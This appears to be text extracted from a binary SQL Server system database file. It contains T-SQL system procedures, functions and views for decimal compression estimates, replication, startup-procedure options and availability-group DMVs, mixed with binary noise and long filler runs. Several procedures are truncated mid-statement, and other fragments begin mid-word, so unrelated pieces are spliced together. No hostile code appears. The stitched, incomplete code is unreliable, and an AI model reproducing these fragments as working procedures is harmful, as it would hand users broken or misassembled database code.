l65q,@table_server6{t"end_time6{t&request_id6{trun_id6{tstage6{t&start_time6{tstatus6{t6total_elapsed_time6@{,TABLE_CATALOG6@{*TABLE_SCHEMA6@{&TABLE_NAME6@{(COLUMN_NAME6@{6CONSTRAINT_CATALOG6@{4CONSTRAINT_SCHEMA6@{0CONSTRAINT_NAME6~ @server6~@X6~@Yb,R4`:<HPl0
 	8create procedure sys.sp_decimal_estimate_savings_for_table
	@table_id int
	,@avg_savings float output
AS
BEGIN
	set @avg_savings = 0;

	-- Get the quoted two-part name
	declare @quoted_table_name nvarchar(518);
	declare @schema_id int;
	select @schema_id = schema_id from sys.tables where object_id = @table_id;
	set @quoted_table_name = quotename(schema_name(@schema_id)) + N'.' + quotename(object_name(@table_id));

	-- Generate a query to calculate savings.
	declare @sql_string nvarchar(max);

	-- ignore locking
	set @sql_string = N'set transaction isolation level read uncommitted; ';

	-- Create temp table to receive result.
	create table #savings_table(avg_compressed_decimal_size float);
	set @sql_string = @sql_string + N'insert into #savings_table select avg(cast(';

	-- Iterate through the columns for this table, generating an expression
	-- for the sum of the compressed lengths of each decimal column.
	declare dec_columns cursor for
		select quotename(name), precision from sys.columns
			where object_id = @table_id and
			(system_type_id = 106 or system_type_id = 108);
	open dec_columns;

	-- Keep track of the number of decimal columns we find, and their total fixed length.
	declare @num_dec_columns int, @fixed_decimal_size int;
	set @num_dec_columns = 0;
	set @fixed_decimal_size = 0;
	
	while (1 = 1)
	begin
		declare @col_name nvarchar(258);
		declare @prec int;
		
		fetch next from dec_columns into @col_name, @prec;
		if (@@fetch_status <> 0)
			break;

		-- Add ' + ' between addends.
		if (@num_dec_columns > 0)
			set @sql_string = @sql_string + N' + ';
		set @num_dec_columns = @num_dec_columns + 1;

		-- Add the fixed length.
		set @fixed_decimal_size = @fixed_decimal_size +
			case
				when @prec between 1 and 9 then 5
				when @prec between 10 and 19 then 9
				when @prec between 20 and 28 then 13
				when @prec between 29 and 38 then 17
			end;

		set @sql_string = @sql_string + N'datalength(compressnumeric(' + @col_name + '))';
	end

	close dec_columns;
	deallocate dec_columns;

	if (@num_dec_columns = 0) 
		return;

	set @sql_string = @sql_string +
		N' as float)) from ' + @quoted_table_name + N' tablesample (5000 rows)';
		
	exec (@sql_string);
	select @avg_savings = @fixed_decimal_size - (avg_compressed_decimal_size + 2 * @num_dec_columns) from #savings_table;
	if (@avg_savings is null)
		set @avg_savings = 0;
end;
0& 8create function sys.fn_remote_foreign_keys(
	@server		sysname,
	@pk_catalog	sysname = NULL,
	@pk_schema	sysname = NULL,
	@pk_name	sysname = NULL,
	@fk_catalog	sysname = NULL,
	@fk_schema	sysname = NULL,
	@fk_name	sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_FOREIGN_KEYS, @server, @pk_catalog, @pk_schema, @pk_name,
		@fk_catalog, @fk_schema, @fk_name)
0x@ G8
create procedure sys.sp_MSsubst_filter_names 
(
    @owner sysname, 
    @table sysname, 
    @filter_clause nvarchar(4000) output
)
as
begin
    set nocount on
    declare @retcode int
            ,@rplc_string nvarchar( 513 )
            ,@srch_string nvarchar(500) 
            ,@expansion int  -- BYTES data will be expanded/contracted by
            ,@subst_offset int -- CHARACTER OFFSET at which to perform string operations

    if @filter_clause is null or @table is null
    begin 
        -- error, @filter_clause cannot be null
        return 1
    end

    select @rplc_string = case when (@owner is null) then N'' else QUOTENAME(@owner) + N'.' end 
                + QUOTENAME(@table)
            ,@srch_string = N'<<TABLE>>'
            ,@subst_offset = 0
    select @expansion = datalength(@rplc_string) - datalength(@srch_string) 

    -- Note!  procedure is case insensitive
    select @subst_offset = charindex( @srch_string, upper(@filter_clause), @subst_offset )
    while( @subst_offset <> 0 )
    begin
        if datalength( @filter_clause ) + @expansion > 8000
        begin
            -- buffer overflow, return error
            return 1
        end
        else
        begin
            select @filter_clause = stuff( @filter_clause, @subst_offset, datalength( @srch_string ) / 2, @rplc_string )
                    ,@subst_offset = @subst_offset + @expansion / 2
        end
        select @subst_offset = charindex( @srch_string, upper(@filter_clause), @subst_offset )
    end

    return 0
end
0 8create procedure sys.sp_checkinvalidivarticle 
	@mode tinyint = 1 -- 0 upgrade, 1 snapshot
	,@publication sysname = NULL
as
begin
	set nocount on 
	
	if @mode = 0
	begin 
		IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) AND
		(ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0) AND
		(ISNULL(IS_MEMBER('db_owner'),0) = 0)
		BEGIN
			RAISERROR(18799, 16, -1) 
			RETURN (1)
		END
	end
	
	declare @artname nvarchar(524)
				,@objname nvarchar(524)
				,@pubname nvarchar(524)
				,@object_id int
				,@result int
				
    -- Only attempt to get an application lock if the caller is 
    -- db_owner as the intention of the lock is for coordinating between
    -- the snapshot agent (db_owner) and ddl replication (requires db_owner
    -- via sp_MSprep_exclusive)
    IF (@mode = 1 and (is_member(N'db_owner') = 1))
    BEGIN
    EXEC @result = sys.sp_getapplock @Resource = @publication, 
                @LockMode = N'Shared', 
                @LockOwner = N'Session', 
                @LockTimeout = 0,
                @DbPrincipal = N'db_owner' -- Note that we already require db_owner because of security check performed at the beginning of the procedure
	    IF @result < 0
	    BEGIN
	        RAISERROR(21385, 16, -1, @publication)
	        RETURN (1)
	    END
    END
				
	declare #hlogbasedarticles cursor local fast_forward for
		select distinct a.name, object_name(a.objid), p.name, a.objid
		from dbo.sysarticles a join dbo.syspublications p on a.pubid = p.pubid
			join syssubscriptions s on s.artid = a.artid 
		where objectproperty(objid, 'IsView') = 1 
			and ((@mode = 1 and p.name = @publication) --snapshot mode
				or (@mode = 0 and s.status in (2, 3)))-- 0 inactive, 1 subscribed, 2 active, 3 initiated

	open #hlogbasedarticles
	fetch #hlogbasedarticles into @artname, @objname, @pubname, @object_id

	while (@@fetch_status <> -1)
	begin			
		-- log-based iv article needs to have active cl index 
		if not exists(select * from sys.indexes where object_id = @object_id 
			and index_id = 1 and is_disabled = 0)
		begin 
			if (@mode = 0) 
			begin 
				raiserror (21857, 10, 1, @artname, @pubname, @objname)
				exec sys.sp_MSreinit_article 
					@publication = @pubname
					,@article = @artname
					,@need_new_snapshot = 1
					,@need_reinit_subscription = 1
					,@force_invalidate_snapshot = 1
					,@force_reinit_subscription = 1
					,@ignore_distributor_failure = 1 -- in case distribtor is not up, we don't want to fail upgrade
			end
			else if(@mode = 1)
			begin
				raiserror (21858, 16, 1, @artname, @pubname, @objname)
			end
		end
		fetch #hlogbasedarticles into @artname, @objname, @pubname, @object_id
	end
	close #hlogbasedarticles 
	deallocate #hlogbasedarticles    
	IF (@mode = 1 and (is_member(N'db_owner') = 1))
    BEGIN
        EXEC sys.sp_releaseapplock @Resource = @publication, @LockOwner = N'Session', @DbPrincipal = N'db_owner'
    END
	return 0
end    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!lc

`V
W
<I70<$0   ?==x@B?8@$8L`t(<Pdx??"???$??(???*??+??0???8?@?<???>??b??c??h???l??z????????????????????? 0< "0<$0 N%  ?=?B?$8L`t(<Pdx??"???$??(???*??+??0???8?@?<???>??b??c??h???l??z????????????????????? 0< "0<$J O%  ?>8@BA8@0G^u A??????@?@??? 0< "0<$= O%  ?!=_AB_A3Rq4QxGh+Ty0??#bigint0??#binary0??bit0??char0??date0???)datetime20??3datetimeoffset0??%decimal0??!float0??!image0??int0?@?'nvarchar0??real0??1smalldatetime0??'smallint0??+smallmoney0??-sql_variant0??!table0??text0??time0??)timestamp0??%tinyint0??7uniqueidentifier0@?)varbinary0??%varchar0??xml((Rbigintchardatetime2floatmoneynumericsmalldatetimeql_variantuniqueidentifiervarchar
@	
$%
1;K 0< "0<$= P%  ?!=_AB_A3Rq4QxGh+Ty0??#bigint0??#binary0??bit0??char0??date0???)datetime20??3datetimeoffset0??%decimal0??!float0??!image0??int0?@?'nvarchar0??real0??1smalldatetime0??'smallint0??+smallmoney0??-sql_variant0??!table0??text0??time0??)timestamp0??%tinyint0??7uniqueidentifier0@?)varbinary0??%varchar0??xml((Rbigintchardatetime2floatmoneynumericsmalldatetimeql_variantuniqueidentifiervarchar
@	
$%
1;K 0< "0<$} Q%  *?1C=@B@0EZo???????@???????????H@?@@@@@@@????@@???????? 0< "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.p	`m
n
<,	J9d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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!vN1jC"zW7
	`J<K \0ho 
8create procedure sys.sp_procoption
    @ProcName		nvarchar(776)
   ,@OptionName		varchar(35)
   ,@OptionValue	varchar(12)
as
	-- DECLARE VARIABLES
	declare	@tabid		int
			,@uid		int
			,@opt_value	int
			,@opt_flag	bit
			,@dbname	sysname

    -- DISALLOW USER TRANSACTION --
	set nocount on
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_procoption')
		return @@error
	end

	-- VALIDATE OPTION NAME AND VALUE
	select @opt_flag = 
		case
			when (lower(@OptionValue) in ('1' ,'on' ,'yes' ,'true')) then 1
			when (lower(@OptionValue) in ('0' ,'off' ,'no' ,'false')) then 0
		end
	if (@opt_flag is null) OR (isnull(lower(@OptionName), '') <> 'startup')
	begin
		raiserror(15600,-1,-1, 'sys.sp_procoption')
		return @@error
	end
	
	-- RESOLVE GIVEN OBJECT NAME --
	select @tabid = object_id, @uid = schema_id from sys.objects
		where object_id = object_id(@ProcName, 'local') and type in ('X','P','PC')
	
	if @tabid is null
	begin
		raiserror(15165,-1,-1,@ProcName)
		return @@error
	end
	
	BEGIN TRANSACTION
	
	-- LOCK PROC & CHECK PERMISSION --
	EXEC %%Object(MultiName = @ProcName).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		raiserror(15165,-1,-1,@ProcName)
		return @@error
	end
		
	-- MUST BE sysadmin (Startup-procs run as sysadmin) --
	if is_srvrolemember('sysadmin') = 0
	begin
		--In case of failure Audit the event. Note in case of success the event will be audited when we lock the
		-- the object in exclusive mode and evaluate the permissions again through the security manager.
		if not (@tabid is null)
		begin 
			EXEC %%System().AuditEvent(ID = 1128350287, Success = 0, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = @ProcName, Provider = NULL, Server = NULL)
		end
		ROLLBACK TRANSACTION
		raiserror(15165,-1,-1,@ProcName)
		return @@error
	end
	
	-- STARTUP PROC MUST BE OWNED BY DBO IN MASTER --
	if (db_id() <> 1 OR @uid <> 1)
	begin
		ROLLBACK TRANSACTION
		raiserror(15398,-1,-1)
		return @@error
	end
	
	-- VALID OBJECT IN DATABASE? --
	if @tabid is null
	begin
		ROLLBACK TRANSACTION
		select @dbname = db_name()
		raiserror(15009,-1,-1 ,@ProcName, @dbname)
		return @@error
	end

	-- PROC CANNOT HAVE PARAMETERS --
	if exists ( select * from sys.parameters where object_id = @tabid )
	begin
		ROLLBACK TRANSACTION
		raiserror(15399,-1, -1)
		return @@error
	end

	EXEC %%Module(ID = @tabid).SetStartup(Value = @opt_flag)

	-- Set Config option for startup procs
	set @opt_value =
			case when exists (select * from sys.objects where type in ('X','P','PC')
				and ObjectProperty(object_id, 'ExecIsStartup') = 1)
			then 1 else 0 end
	EXEC %%ServerConfiguration(ConfigID = 1547).SetValue(Value = @opt_value)

	-- EMDEventType(x_eet_AlterProc), EMDUniversalClass(x_eunc_Table), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 52, ID = 1, ID = @tabid, ID = 0, Value = @ProcName,
		ID = -1, ID = 0, ID = 0, Value = NULL, ID = 3,
		Value = @ProcName, Value = @OptionName, Value = @OptionValue, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	-- Commit and reconfigure
	COMMIT TRANSACTION
	RECONFIGURE WITH OVERRIDE

	-- RETURN SUCCESS
	RETURN 0 -- sp_procoption
0lˣ 8create procedure sys.sp_enumoledbdatasources
    AS
    set nocount on

    select srvname, srvproduct, providername from master.dbo.sysservers where 
    (srvstatus & 0x0080) <> 0

    return (0)
06  8

--
-- Name: sp_MScopyscriptfile_merge
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: internal
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScopyscriptfile_merge (
    @publication sysname,
    @scriptfile nvarchar(4000), 
    @cmd nvarchar(4000) OUTPUT
)
as
declare @directory nvarchar(4000)
declare @filename nvarchar(1024)
declare @subdirectory nvarchar(1024)
declare @retcode int
declare @publisher sysname
declare @publisher_db sysname
declare @enabled_for_internet bit
declare @snapshot_in_defaultfolder bit

declare @distributor            sysname
declare @dist_rpcname           sysname
declare @distribdb              sysname
declare @distproc               nvarchar(300)
declare @distrib_directory     nvarchar(4000)

select @publisher = publishingservername()
select @publisher_db = db_name()


EXEC @retcode = sys.sp_helpdistributor @distributor = @distributor OUTPUT, 
                                        @distribdb = @distribdb OUTPUT,
                                        @rpcsrvname = @dist_rpcname OUTPUT ,
                                        @directory = @distrib_directory OUTPUT

if @@error <> 0 OR @retcode <> 0 or @distributor IS NULL OR @distribdb IS NULL
BEGIN
    RAISERROR (14071, 16, -1)
    RETURN (1)
END

select @directory = alt_snapshot_folder, 
       @enabled_for_internet = enabled_for_internet, 
       @snapshot_in_defaultfolder = snapshot_in_defaultfolder from dbo.sysmergepublications
where UPPER(publisher) = UPPER(@publisher)  and publisher_db = @publisher_db and name = @publication
if @directory is null or @directory = ''
begin
    select @directory = @distrib_directory
end

-- determine whether to use unc or ftp subdir. This is based on the "enabled_for_internet" property of
-- the publication
if @enabled_for_internet = 0
    select @directory = @directory + '\unc\' + 
             sys.fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication,1) collate database_default
else
    select @directory = @directory + '\ftp\' + 
             sys.fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication,1) collate database_default

-- the subdirectory will be directory called "UserScripts"
select @subdirectory = formatmessage(21721)
if(right(@directory, 1) = N'\')
    select @directory = @directory + @subdirectory
else
    select @directory = @directory + N'\' + @subdirectory


SELECT @distproc = RTRIM(@dist_rpcname) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSreplcopyscriptfile'

EXECUTE @retcode = @distproc @directory = @directory, @scriptfile = @scriptfile

if @@error<>0 or @retcode<>0 
    return 1

-- Prepare command, to be posted to log
select @filename = right(@scriptfile, charindex(N'\', reverse(@scriptfile)))
if(left(@filename, 1) = N'\')   
    select @cmd = @directory + @filename
else
    select @cmd = @directory + N'\' + @filename
on"         = s_p.precision,
        scale               = s_p.scale,
        -- OLEDB spec requires 0 when type size is unlimitted
        max_length          = (case s_p.max_length when -1 then 0 else s_p.max_length end),
        is_output           = s_p.is_output,
        has_default_value   = s_p.has_default_value,
        default_value       = s_p.default_value,
        xml_collection_id   = s_p.xml_collection_id
    from
        sys.system_parameters$ s_p
    where s_p.number = 1 -- Filter numbered system procedures because they are not expected in my private views.
0lˣ 8create procedure sys.sp_enumoledbdatasources
    AS
    set nocount on

    select srvname, srvproduct, providername from master.dbo.sysservers where 
    (srvstatus & 0x0080) <> 0

    return (0)
R`=[<rPLGx0 8
create function sys.generate_type
(
	@type_id		int, 
	@type_name		sysname, 
	@max_length		smallint, 
	@precision		tinyint, 
	@scale			tinyint, 
	@collation_name		sysname,
	@is_xml_document	bit, 
	@xml_collection_id	int
)
returns nvarchar(max)
as
begin
	return
	case 
		when @type_id in (41, 42, 43) -- new date time types
			then quotename(@type_name) + '(' + convert(nvarchar(10), @scale) + ')'
		when @type_id in (106, 108) -- fixed point numbers
			then quotename(@type_name) + '(' + convert(nvarchar(10), @precision) + ',' + convert(nvarchar(10), @scale) + ')'
		when @type_id in (62) -- floating point numbers where width can be specified
			then quotename(@type_name) + '(' + convert(nvarchar(10), @precision) + ')'
		when @type_id = 173 -- binary
			then quotename(@type_name) + '(' + convert(nvarchar(10), @max_length) + ')'
		when @type_id = 165 -- varbinary
			then quotename(@type_name) + '(' + case @max_length when -1 then 'max' else convert(nvarchar(10), @max_length) end + ')'
		when @type_id in (167, 175) -- ascii char
			then quotename(@type_name) + '(' + case @max_length when -1 then 'max' else convert(nvarchar(10), @max_length) end + ') COLLATE ' + @collation_name
		when @type_id in (231, 239) -- unicode char
			then quotename(@type_name) + '(' + case @max_length when -1 then 'max' else convert(nvarchar(10), @max_length / 2) end + ') COLLATE ' + @collation_name
		when @type_id = 241			-- xml
			then quotename(@type_name) + 
			case 
				when @xml_collection_id <> 0
					then '(' + case when @is_xml_document = 1 then 'document ' else '' end + 
						quotename('schema_' + convert(nvarchar(10), @xml_collection_id)) + ')'
				else ''
			end
		else quotename(@type_name)
	end
end
0 D8nh 0@ 48create procedure sys.sp_MSget_mergepullsubsagent_owner(
    @publication         sysname = NULL,                  /* Publication name */
    @publisher            sysname = NULL,              /* Publisher server */
    @publisher_db        sysname = NULL,              /* Publication database */
    @owner_sid          varbinary(85) OUTPUT
    )AS
    
    declare @pubid  uniqueidentifier 
    declare @subid  uniqueidentifier
    declare @job_id uniqueidentifier

    set nocount on

    select @owner_sid = NULL

    if object_id('dbo.sysmergepublications', 'U') is not null
    begin
        if exists (select top 1 * from dbo.sysmergepublications
                   where upper(publisher) collate database_default = upper(@publisher) collate database_default and
                         publisher_db = @publisher_db and
                         name = @publication)
        begin
            select @pubid = pubid
            from dbo.sysmergepublications
            where @publication = name

            select @subid = subid
            from dbo.sysmergesubscriptions
            where @pubid = pubid and
                  upper(@@servername) collate database_default = upper(subscriber_server) collate database_default and
                  pubid <> subid 

            select @job_id = merge_jobid
            from dbo.MSmerge_replinfo
            where @subid = repid

            select @owner_sid = owner_sid
            from msdb.dbo.sysjobs 
            where @job_id = job_id
        end
    end
0o 
8CREATE PROCEDURE sys.sp_MShelp_subscriber_info
(
    @publisher sysname = '%',
    @subscriber sysname = '%',
    @found int = NULL    OUTPUT,
    @show_password bit = 1
)
AS
begin
   set nocount on
   
   DECLARE @no_rows bit

    --
    -- push agents (dist or merge) may call this.
    -- raise an message indicating that users may forget to specify -SubscriptionType
    -- security check
    --
    if is_member(N'db_owner') <> 1
    begin
        raiserror (20604, 16, -1)
        return 1
    end
    /*
    ** Initializations.
    */
    IF @found is NULL
    BEGIN
        SELECT @no_rows=0
    END
    ELSE
    BEGIN
        SELECT @no_rows=1
    END

   if exists (select * from MSsubscriber_info 
               where (@publisher = '%' or UPPER(publisher) = UPPER(@publisher)) 
                 and (@subscriber = '%' or UPPER(subscriber) = UPPER(@subscriber)))
   begin
        select @found = 1
        if @no_rows <>0 return(0)
   end
   else
   begin
        select @found = 0
        if @no_rows <>0 return(0)
   end

   if exists (select * from MSsubscriber_schedule 
               where (@publisher = N'%' or UPPER(publisher) = UPPER(@publisher))
                 and (@subscriber = N'%' or UPPER(subscriber) = UPPER(@subscriber)))
    begin
		select Sinfo.publisher,
			    Sinfo.subscriber,
			    Sinfo.type,
			    Sinfo.login,
			    case when @show_password = 1 then sys.fn_repldecryptver4(Sinfo.password)
			    else convert(sysname, NULL) end,
			    100,  -- commit_batch_size, no longer supported
			    100,  -- status_batch_size, no longer supported
			    1,    -- flush_frequency, no longer supported
			    sch1.frequency_type, 
			    sch1.frequency_interval,
			    sch1.frequency_relative_interval,
			    sch1.frequency_recurrence_factor,
			    sch1.frequency_subday,
			    sch1.frequency_subday_interval,
			    sch1.active_start_time_of_day,
			    sch1.active_end_time_of_day,
			    sch1.active_start_date,
			    sch1.active_end_date,
			    4, -- retryattempt, no longer exist
			    4,  -- retrydelay, no longer exist
			    Sinfo.description,
			    Sinfo.security_mode,
			    sch2.frequency_type as frequency_type2, 
			    sch2.frequency_interval as frequency_interval2,
			    sch2.frequency_relative_interval as frequency_relative_interval2,
			    sch2.frequency_recurrence_factor as frequency_recurrence_factor2,
			    sch2.frequency_subday as frequency_subday2,
			    sch2.frequency_subday_interval as frequency_subday_interval2,
			    sch2.active_start_time_of_day as active_start_time_of_day2,
			    sch2.active_end_time_of_day as active_end_time_of_day2,
			    sch2.active_start_date as active_start_date2,
			    sch2.active_end_date as active_end_date2
			from (MSsubscriber_info as Sinfo LEFT OUTER JOIN MSsubscriber_schedule as sch1 
			on UPPER(Sinfo.publisher)=UPPER(sch1.publisher) AND UPPER(Sinfo.subscriber)=UPPER(sch1.subscriber) and sch1.agent_type=0)
			LEFT OUTER JOIN MSsubscriber_schedule as sch2
			    on UPPER(Sinfo.publisher)=UPPER(sch2.publisher) AND UPPER(Sinfo.subscriber)=UPPER(sch2.subscriber) 
			            and sch2.agent_type=1
			where (@publisher = N'%' or UPPER(Sinfo.publisher) = UPPER(@publisher)) and 
			  (@subscriber = N'%' or UPPER(Sinfo.subscriber) = UPPER(@subscriber))                 
		if @@error <> 0 return 1
    end
end
nable to clear susbscriber status from sysservers entry.
		RAISERROR (14044, 16, -1, @subscriber)
		RETURN 1
	END
	
	/*
	** Clear the server option indicating this is a DSN subscriber.
	*/
	EXECUTE @retcode = sys.sp_serveroption @server = @subscriber, 
											@optname = 'nonsqlsub',
											@optvalue =  'off'
	IF @@error <> 0 or @retcode <> 0
	BEGIN
		-- Unable to clear susbscriber status from sysservers entry.
		RAISERROR (14044, 16, -1, @subscriber)
		RETURN 1
	END		

END
alue) <> 1
    begin
        return 1
    end

    -- Eat up '_' + publisherdb + '_'
    select  @value = stuff(@value, 1, LEN(@publisherdb) + 2, N'')
      
    -- Reverse the string in the hope of finding the first '_' 
    -- from the right which denotes the end of the publication 
    -- name. The number at the end should not contain '_'
    select @value2 = reverse(@value)
    select @position = charindex(N'_', @value2)
    if @position < 2
    begin
        return 1
    end
       
    select @publication = left(@value, len(@value) - @position)      
    return 0
0c$ P8h>?Ay
V`		<!}M'y0kW M8CREATE FUNCTION sys.fn_check_object_signatures(@class SYSNAME, @thumbprint VARBINARY(20)) 
RETURNS TABLE
AS
	RETURN 								
		SELECT 	o.type_desc				type,	-- OBJECT
			o.object_id				entity_id,
			CASE WHEN is_objectsigned('OBJECT', o.object_id, @class, @thumbprint) IS NULL
			THEN 0 ELSE 1 END			is_signed,
			CASE WHEN is_objectsigned('OBJECT', o.object_id, @class, @thumbprint) = 1 THEN 1
			ELSE 0 END				is_signature_valid
			FROM sys.objects o 
			LEFT JOIN sys.crypt_properties p ON o.object_id = p.major_id 
			WHERE sys.fn_is_signable_object(o.type) = 1
			GROUP BY o.object_id, o.type_desc
		UNION
		SELECT 	'ASSEMBLY'				class,	-- ASSEMBLY
			s.assembly_id				entity_id,
			CASE WHEN is_objectsigned('ASSEMBLY', s.assembly_id, @class, @thumbprint) IS NULL
			THEN 0 ELSE 1 END			is_signed,
			CASE WHEN is_objectsigned('ASSEMBLY', s.assembly_id, @class, @thumbprint) = 1 THEN 1
			ELSE 0 END				is_signature_valid
			FROM sys.assemblies s
			LEFT JOIN sys.crypt_properties p ON s.assembly_id = p.major_id 
			GROUP BY s.assembly_id
0= 8CREATE view sys.dm_hadr_database_replica_states
as
	SELECT 
		drs.database_id as database_id,
		drs.group_id as group_id,
		drs.replica_id as replica_id,
		drs.group_database_id as group_database_id,
		drs.is_local as is_local,
		drs.synchronization_state as synchronization_state,
		drs.synchronization_state_desc as synchronization_state_desc,
		drs.is_commit_participant as is_commit_participant,
		drs.synchronization_health as synchronization_health,
		drs.synchronization_health_desc as synchronization_health_desc,
		drs.database_state as database_state,
		st.name as database_state_desc,
		drs.is_suspended as is_suspended,
		drs.suspend_reason as suspend_reason,
		drs.suspend_reason_desc as suspend_reason_desc,
		drs.recovery_lsn as recovery_lsn,
		drs.truncation_lsn as truncation_lsn,
		drs.last_sent_lsn as last_sent_lsn,
		drs.last_sent_time as last_sent_time,
		drs.last_received_lsn as last_received_lsn,
		drs.last_received_time as last_received_time,
		drs.last_hardened_lsn as last_hardened_lsn,
		drs.last_hardened_time as last_hardened_time,
		drs.last_redone_lsn as last_redone_lsn,
		drs.last_redone_time as last_redone_time,
		drs.log_send_queue_size as log_send_queue_size,
		drs.log_send_rate as log_send_rate,
		drs.redo_queue_size as redo_queue_size,
		drs.redo_rate as redo_rate,
		drs.filestream_send_rate as filestream_send_rate,
		drs.end_of_log_lsn as end_of_log_lsn,
		drs.last_commit_lsn as last_commit_lsn,
		drs.last_commit_time as last_commit_time,
		drs.ghost_cleanup_fence as low_water_mark_for_ghosts
	FROM OpenRowset(TABLE DM_HADR_DATABASE_REPLICA_STATES) drs
		LEFT JOIN sys.syspalvalues st ON st.class = 'DBST' AND st.value = drs.database_state
0D
1@ v8CREATE view sys.dm_fts_memory_pools
AS
	SELECT * FROM OpenRowset(TABLE FTMEMPOOLS)
0T 8
create procedure sys.sp_foreignkeys
(
    @table_server       sysname,
    @pktab_name         sysname = null,
    @pktab_schema       sysname = null,
    @pktab_catalog      sysname = null,
    @fktab_name         sysname = null,
    @fktab_schema       sysname = null,
    @fktab_catalog      sysname = null
)
as
    select
        PKTABLE_CAT     = PK_TABLE_CATALOG,
        PKTABLE_SCHEM   = PK_TABLE_SCHEMA,
        PKTABLE_NAME    = PK_TABLE_NAME,
        PKCOLUMN_NAME   = PK_COLUMN_NAME,
        FKTABLE_CAT     = FK_TABLE_CATALOG,
        FKTABLE_SCHEM   = FK_TABLE_SCHEMA,
        FKTABLE_NAME    = FK_TABLE_NAME,
        FKCOLUMN_NAME   = FK_COLUMN_NAME,
        KEY_SEQ         = ORDINAL,
        UPDATE_RULE     =
                        case UPDATE_RULE
                            when 'CASCADE' then 0
                            when 'NO ACTION' then 1
                            when 'SET NULL' then 2
                            when 'SET DEFAULT' then 3
                            else null
                        end,
        DELETE_RULE     =
                        case DELETE_RULE
                            when 'CASCADE' then 0
                            when 'NO ACTION' then 1
                            when 'SET NULL' then 2
                            when 'SET DEFAULT' then 3
                            else null
                        end,
        FK_NAME         = convert(sysname, NULL),
        PK_NAME         = convert(sysname, NULL),
        DEFERRABILITY   = convert(smallint, null)

    from
        sys.fn_remote_foreign_keys (
                @table_server,
                @pktab_catalog,
                @pktab_schema,
                @pktab_name,
                @fktab_catalog,
                @fktab_schema,
                @fktab_name)
    order by FKTABLE_CAT, FKTABLE_SCHEM, FKTABLE_NAME, KEY_SEQ
0;* 8
create procedure sys.sp_oledb_language
as
    select
        'English','us_english'

    union

    select
        alias,name
    from
        sys.syslanguages
0;@ 8
--
-- Name: sp_MS_replication_installed
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MS_replication_installed
as
    set nocount on
    declare @isinstalled int
    select @isinstalled = 0
    declare @retcode int
    
    EXECUTE @retcode = master.dbo.xp_instance_regread 'HKEY_LOCAL_MACHINE', 
        'SOFTWARE\Microsoft\MSSQLServer\Replication',
        'IsInstalled',
        @param = @isinstalled OUTPUT

    IF ( @retcode <> 0 ) or ( @@ERROR <> 0 ) 
    begin
        raiserror (21028, 16, -1)
        return (0)
    end
    
    if (@isinstalled is null or @isinstalled = 0)
    begin
        raiserror (21028, 16, -1)
        return (0)
    end

    return (1)
0w D8h{0<" 8CREATE PROCEDURE sys.sp_MSdrop_distribution_agentid 
(
    @agent_id int
) 
AS
begin
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @name           nvarchar(100)
    DECLARE @publisher      sysname
    DECLARE @publisher_db   sysname
    DECLARE @publication    sysname
    
    SELECT @name = name, @publisher = srvname, @publisher_db = publisher_db, @publication = publication FROM 
        MSdistribution_agents, master.dbo.sysservers WHERE 
        id = @agent_id and
        srvid = publisher_id
    
